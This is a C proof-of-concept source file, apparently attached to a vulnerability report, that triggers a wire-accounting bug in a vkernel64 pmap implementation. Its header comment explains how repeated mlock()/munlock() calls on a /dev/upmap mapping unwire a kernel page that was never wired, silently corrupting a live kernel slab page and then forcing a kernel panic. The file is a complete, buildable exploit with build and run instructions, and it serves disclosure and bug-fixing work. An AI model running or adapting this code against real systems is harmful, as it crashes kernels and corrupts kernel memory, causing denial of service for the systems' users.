DF-5289 / df5289.c
/* * DF-5289 - vkernel64 pmap.c wire-accounting corruption PoC * * mlock()/munlock() on a UKSMAP mapping (/dev/upmap, /dev/lpmap). * * mlock -> vm_fault_wire -> vm_fault (UKSMAP) -> pmap_enter(&fakem, * wired=TRUE) with a STACK-allocated fictitious vm_page: * the PTE is marked VPTE_WIRED but vm_page_wire() on a * fictitious page takes no wire anywhere. * munlock -> vm_fault_unwire (misclassifies UKSMAP as non-fictitious) * -> pmap_unwire() returns the REAL vm_page of the * kmalloc'd upmap kernel page -> vm_page_unwire(m, 1) on a * page that was never wired for this mapping. * * cycle 0: kernel slab page wire_count 1 -> 0 (silent corruption: * live kmalloc'd kernel page loses its wire and can be * reclaimed by the page daemon while still kernel-mapped). * cycle 1: vm_page_unwire() with wire_count already 0 -> * panic("vm_page_unwire: invalid wire count"). * * Build: cc -static -O -o poc df5289.c * Run as root inside the vkernel (mlock is SYSCAP_RESTRICTEDROOT-gated). */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <errno.h> #include <sys/mman.h> int main(void) { void *p; int fd, i, r1, r2; fd = open("/dev/upmap", O_RDWR); if (fd < 0) { printf("open(/dev/upmap) failed: %s\n", strerror(errno)); exit(1); } p = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0); if (p == MAP_FAILED) { printf("mmap failed: %s\n", strerror(errno)); exit(1); } printf("DF5289: /dev/upmap mapped at %p\n", p); printf("DF5289: expect panic 'vm_page_unwire: invalid wire count' " "at cycle 1 munlock\n"); fflush(stdout); for (i = 0; i < 4; i++) { errno = 0; r1 = mlock(p, 4096); printf("DF5289: cycle %d mlock = %d errno=%d (%s)\n", i, r1, errno, strerror(errno)); fflush(stdout); printf("DF5289: cycle %d munlock ... \n", i); fflush(stdout); errno = 0; r2 = munlock(p, 4096); printf("DF5289: cycle %d munlock = %d errno=%d (%s)\n", i, r2, errno, strerror(errno)); fflush(stdout); } printf("DF5289: SURVIVED - no panic (bug not present)\n"); return (0); } |